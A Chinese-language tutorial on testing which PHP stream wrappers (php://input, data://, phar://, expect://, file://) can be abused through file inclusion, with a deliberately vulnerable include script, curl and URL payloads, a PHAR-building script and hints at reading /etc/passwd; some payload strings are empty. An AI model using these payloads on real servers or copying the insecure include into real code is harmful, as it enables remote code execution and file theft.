php 伪协议中目前仍可用的包括 php://input、php://stdin、php://stdout、php://stderr、file://(在特定配置下)、data://、phar:// 以及 expect://(需开启)。测试它们的核心方法是利用 include、require、file_get_contents 或 highlight_file 等函数,构造特定的 url 路径作为参数传入。通过观察返回内容是否包含预期数据或执行结果,可以判断该协议是否生效。

如何测试 php://input 和 data:// 协议
这两个协议常用于文件包含漏洞的利用。php://input 允许读取 POST 请求的原始数据,而 data:// 允许直接通过 URL 传递数据并指定 MIME 类型。测试时,针对 php://input,需要发送一个包含 PHP 代码的 POST 请求,并让目标脚本包含它;针对 data://,可以直接在 URL 中拼接 Base64 编码的 PHP 代码。

<?php // test_input.php
if (isset($_GET['file'])) {
include $_GET['file'];
}
?>
对于 php://input,使用 curl 发送 POST 数据:curl -X POST -d '' 'http://target/test_input.php?file=php://input'。如果返回当前用户 ID,则说明可用。对于 data://,构造 URL:http://target/test_input.php?file=data://text/plain;base64,。例如,若代码为 ,其 Base64 为 http://target/test_input.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg== 即可验证。
如何测试 phar:// 和 expect:// 协议
phar:// 协议用于反序列化漏洞利用,它能解压 PHAR 文件并触发魔术方法。测试时需先构造一个包含恶意负载的 PHAR 文件,然后尝试包含它。expect:// 允许执行系统命令,但默认关闭。测试时需确认服务器是否开启了 disable_functions 排除了 proc_open 等函数,且 allow_url_include 开启。

<?php // generate_phar.php
@unlink('test.phar');
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$o = new stdClass();
$o->data = 'malicious_payload';
$phar->setMetadata($o);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>
运行上述脚本生成 test.phar,然后在目标环境中访问 http://target/test_input.php?file=phar://./test.phar。如果触发了 __destruct 或其他魔术方法中的代码,则说明 phar:// 可用。对于 expect://,直接访问 http://target/test_input.php?file=expect://id,若返回命令执行结果,则说明该协议未被禁用。
file:// 协议在不同环境下的行为差异
file:// 协议通常用于读取本地文件,但其行为受 open_basedir 和 allow_url_include 影响。在本地文件中,file:// 是默认的,但在远程包含时,必须开启 allow_url_include 才能使用 file:// 读取本地文件。测试时需检查服务器的安全配置,确定是否可以跨目录读取敏感文件如 /etc/passwd。
php免费学习视频:立即使用
踏上前端学习之旅,开启通往精通之路!从前端基础到项目实战,循序渐进,一步一个脚印,迈向巅峰!











